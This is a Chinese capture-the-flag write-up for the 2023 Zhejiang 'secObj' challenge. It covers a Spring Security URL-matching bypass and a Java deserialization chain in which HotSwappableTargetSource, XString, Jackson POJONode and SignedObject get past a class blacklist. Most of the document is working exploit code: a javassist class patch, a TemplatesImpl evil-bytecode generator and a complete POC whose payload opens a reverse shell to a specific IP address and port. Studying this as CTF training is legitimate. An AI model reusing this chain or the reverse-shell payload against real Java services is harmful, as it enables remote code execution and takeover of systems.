2023浙江大学生省赛决赛 secObj 参考:https://www.yuque.com/dat0u/ctf/zticsggntervfyue (关注大头,谢谢喵
题目地址
考察知识点:
Java代码审计、Spring Security权限验证绕过、HotSwappableTargetSource绕过黑名单、SignedObject二次反序列化
搭一个原本环境可以去大头的语雀
前置知识 Spring Security 基本用法 https://www.cnblogs.com/dw3306/p/12751373.html
首先需要重写两个configure函数
1 protected void configure (AuthenticationManagerBuilder auth)
用来配置用户和对应的角色
1 protected void configure (HttpSecurity http)
用来配置URL的访问权限
antMatchers()
函数用来配置对应的URL,含有三种语法
1 2 3 ? 匹配任意单个字符 * 匹配0个或多个字符 ** 匹配0个或多个目录
这个地方就会存在权限绕过,例如
如果设置antMatchers("admin/*")
,只会匹配一个目录,也就是说
admin/hello
会被匹配,而admin/hello/
则不会被匹配,导致权限绕过
这篇文章讲的更细节 https://xz.aliyun.com/t/13235
链子 这里只写链子部分;
简单分析一下代码,没什么特殊的依赖
黑名单
1 2 3 4 5 6 7 8 private static final String[] blackList = new String []{ "AbstractTranslet" , "Templates" , "TemplatesImpl" , "javax.management" , "swing" , "awt" , "fastjson" };
那就只能打 SignedObject
二次反序列化了
那 SignedObject#getObject
又由谁来打
值得注意的是,这里的没有ban jackson ,那就可以用 POJONode#toString
来打,这个方法可以遍历执行对象中的所有 getter
那么由谁来触发 toString
,XString再好不过了,因为这里没ban
1 2 org.springframework.aop.target.HotSwappableTargetSource com.sun.org.apache.xpath.internal.objects.XString
那么就可以用这个触发第二段
最后的链子为
1 2 3 4 5 6 7 8 9 java.util.HashMap#readObject(ObjectInputStream s) java.util.HashMap#putVal(int hash, K key, V value, boolean onlyIfAbsent,boolean evict) org.springframework.aop.target.HotSwappableTargetSource#equals(Object other) com.sun.org.apache.xpath.internal.objects.XString#equals(Object obj2) com.fasterxml.jackson.databind.node.POJONode#toString() java.security.SignedObject#getObject() javax.management.BadAttributeValueExpException#readObject() com.fasterxml.jackson.databind.node.POJONode#toString() com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#getOutputProperties()
其中的 POJONode#toString()
没有该方法,所以会调用他的父类 BaseJsonNode#toString()
但是他的父类含有
1 2 3 Object writeReplace() { return NodeSerialization.from(this); }
如果一个序列化类中含有Object writeReplace()方法,那么实际序列化的对象将是作为writeReplace方法返回值的对象,而且序列化过程的依据是实际被序列化对象的序列化实现。
那么这个代码就会导致序列化失败,所以可以直接使用JarEditor直接注释掉,但是不建议这么做,因为太粗鲁了🥹
那么久用 javassist 做一个和他一样的类就好了,这个方法不会修改原本的代码,会修改JVM内存中的字节码,将 CtClass
对象转换成一个新的 Class
对象并加载到当前类加载器中,这段代码直接抄的大头的
1 2 3 4 5 ClassPool pool = ClassPool.getDefault();CtClass ctClass0 = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode" );CtMethod writeReplace = ctClass0.getDeclaredMethod("writeReplace" );ctClass0.removeMethod(writeReplace); ctClass0.toClass();
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 package com; import com.fasterxml.jackson.databind.node.POJONode; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import com.sun.org.apache.xpath.internal.objects.XString; import javassist.ClassPool; import javassist.CtClass; import javassist.CtMethod; import org.springframework.aop.framework.AdvisedSupport; import org.springframework.aop.target.HotSwappableTargetSource; import javax.management.BadAttributeValueExpException; import javax.xml.transform.Templates; import java.lang.reflect.Constructor; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Proxy; import java.security.KeyPair; import java.security.KeyPairGenerator; import java.security.Signature; import java.security.SignedObject; import java.util.HashMap; public class Chain2 { public static void main(String[] args) throws Exception { // 删除 BaseJsonNode#writeReplace 方法 ClassPool pool = ClassPool.getDefault(); CtClass ctClass0 = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode"); CtMethod writeReplace = ctClass0.getDeclaredMethod("writeReplace"); ctClass0.removeMethod(writeReplace); ctClass0.toClass(); // 获取恶意字节码 byte[] bytes = Utils.getEvilPayload("sh -i >& /dev/tcp/149.88.74.46/7733 0>&1"); TemplatesImpl templates = new TemplatesImpl(); Utils.setValue(templates, "_bytecodes", new byte[][]{bytes}); Utils.setValue(templates, "_name", "aaa"); Utils.setValue(templates, "_tfactory", new TransformerFactoryImpl()); POJONode pojoNode = new POJONode(templates); BadAttributeValueExpException bad = new BadAttributeValueExpException(null); Utils.setValue(bad, "val", pojoNode); // 生成公钥 KeyPairGenerator keyPairGenerator = KeyPairGenerator.getInstance("DSA"); keyPairGenerator.initialize(1024); KeyPair keyPair = keyPairGenerator.generateKeyPair(); SignedObject signedObject = new SignedObject( bad, keyPair.getPrivate(), Signature.getInstance("DSA") ); POJONode outerNode = new POJONode(signedObject); HotSwappableTargetSource h1 = new HotSwappableTargetSource(outerNode); HotSwappableTargetSource h2 = new HotSwappableTargetSource(new XString("aaa")); HashMap hashMap = Utils.makeMap(h1 ,h2); Utils.serialize(hashMap, "payload.ser"); } }
Utils.serialize
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 public static void serialize (Object object ,String filename) throws IOException { ByteArrayOutputStream barr = new ByteArrayOutputStream (); ObjectOutputStream oos = new ObjectOutputStream (barr); oos.writeObject(object); oos.close(); System.out.println(new String (Base64.getEncoder().encode(barr.toByteArray()))); System.out.println("====================================" ); FileOutputStream fos = new FileOutputStream (filename); barr.writeTo(fos); fos.close(); System.out.println(barr); }
Utils.getEvilPayload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 public static byte [] getEvilPayload(String cmd) throws Exception { String cmdBase64 = new String (Base64.getEncoder().encode(cmd.getBytes())); ClassPool pool = ClassPool.getDefault(); CtClass clazz = pool.makeClass("EvilClass" ); CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet" ); clazz.setSuperclass(superClass); String evilBlock = String.format( "Runtime.getRuntime().exec(\"bash -c {echo,%s}|{base64,-d}|{bash,-i}\");" , cmdBase64); clazz.makeClassInitializer().insertBefore(evilBlock); return clazz.toBytecode(); }
Utils.makeMap 用做获取一个HashMap,避免直接put添加元素的时候,触发命令,导致反序列化失败
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 public static HashMap<Object, Object> makeMap (Object v1, Object v2 ) throws Exception { HashMap<Object, Object> s = new HashMap <>(); setValue(s, "size" , 2 ); Class<?> nodeC; try { nodeC = Class.forName("java.util.HashMap$Node" ); } catch ( ClassNotFoundException e ) { nodeC = Class.forName("java.util.HashMap$Entry" ); } Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int .class, Object.class, Object.class, nodeC); nodeCons.setAccessible(true ); Object tbl = Array.newInstance(nodeC, 2 ); Array.set(tbl, 0 , nodeCons.newInstance(0 , v1, v1, null )); Array.set(tbl, 1 , nodeCons.newInstance(0 , v2, v2, null )); setValue(s, "table" , tbl); return s; }
然后将生成的base64去打进环境,打的时候,记得url编码一下
打进去后,返回了一个错误
1 com.fasterxml.jackson.databind.JsonMappingException: com.fasterxml.jackson.databind.JsonMappingException: (was java.lang.NullPointerException) (through reference chain: com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl["stylesheetDOM"]) (through reference chain: java.security.SignedObject["object"])
查看对应的代码,
1 2 3 4 5 private transient ThreadLocal _sdom = new ThreadLocal ();... public DOM getStylesheetDOM () { return (DOM)_sdom.get(); }
简单来说,就是调用了 getStylesheetDOM
但是其中的 _sdom
为空,又因为该属性为 transient
,所以没办法通过反射修改这个属性
transient关键字的用途 用于在实现Serializable接口的类中标记成员变量,使该类对象在序列化和反序列化过程中忽略该成员变量的处理。
transient序列化和反序列化过程中的处理方式 在序列化过程中,transient关键字修饰的成员变量默认处理方式使直接忽略 在反序列化过程中,transient关键字修饰的成员变量默认赋值该成员变量类型的默认值,例如int型为0,boolean为false,对象类型为null。
所以没办法通过这个方法修改
那就只能设置一个代理,对应的接口只包含 getOutputProperties()
方法的
那么就只能是 javax.xml.transform.Templates
了
设置代理部分 https://xz.aliyun.com/t/12846
那么将上面的组合一下
POC 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 package com;import com.fasterxml.jackson.databind.node.POJONode;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import com.sun.org.apache.xpath.internal.objects.XString;import javassist.ClassPool;import javassist.CtClass;import javassist.CtMethod;import org.springframework.aop.framework.AdvisedSupport;import org.springframework.aop.target.HotSwappableTargetSource;import javax.management.BadAttributeValueExpException;import javax.xml.transform.Templates;import java.lang.reflect.Constructor;import java.lang.reflect.InvocationHandler;import java.lang.reflect.Proxy;import java.security.KeyPair;import java.security.KeyPairGenerator;import java.security.Signature;import java.security.SignedObject;import java.util.HashMap;public class Chain2 { public static void main (String[] args) throws Exception { ClassPool pool = ClassPool.getDefault(); CtClass ctClass0 = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode" ); CtMethod writeReplace = ctClass0.getDeclaredMethod("writeReplace" ); ctClass0.removeMethod(writeReplace); ctClass0.toClass(); byte [] bytes = Utils.getEvilPayload("sh -i >& /dev/tcp/149.88.74.46/7733 0>&1" ); TemplatesImpl templates = new TemplatesImpl (); Utils.setValue(templates, "_bytecodes" , new byte [][]{bytes}); Utils.setValue(templates, "_name" , "aaa" ); Utils.setValue(templates, "_tfactory" , new TransformerFactoryImpl ()); AdvisedSupport advisedSupport = new AdvisedSupport (Templates.class); advisedSupport.setTarget(templates); Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy" ) .getDeclaredConstructor(AdvisedSupport.class); constructor.setAccessible(true ); InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(advisedSupport); Object proxy = Proxy.newProxyInstance( ClassLoader.getSystemClassLoader() , new Class []{Templates.class} , invocationHandler); POJONode pojoNode = new POJONode (proxy); BadAttributeValueExpException bad = new BadAttributeValueExpException (null ); Utils.setValue(bad, "val" , pojoNode); KeyPairGenerator keyPairGenerator = KeyPairGenerator.getInstance("DSA" ); keyPairGenerator.initialize(1024 ); KeyPair keyPair = keyPairGenerator.generateKeyPair(); SignedObject signedObject = new SignedObject ( bad, keyPair.getPrivate(), Signature.getInstance("DSA" ) ); POJONode outerNode = new POJONode (signedObject); HotSwappableTargetSource h1 = new HotSwappableTargetSource (outerNode); HotSwappableTargetSource h2 = new HotSwappableTargetSource (new XString ("aaa" )); HashMap hashMap = Utils.makeMap(h1 ,h2); Utils.serialize(hashMap, "payload.ser" ); } }
成功弹回shell,
但是原本的题目是不出网的,那就写个内存马就完了;
赞美大头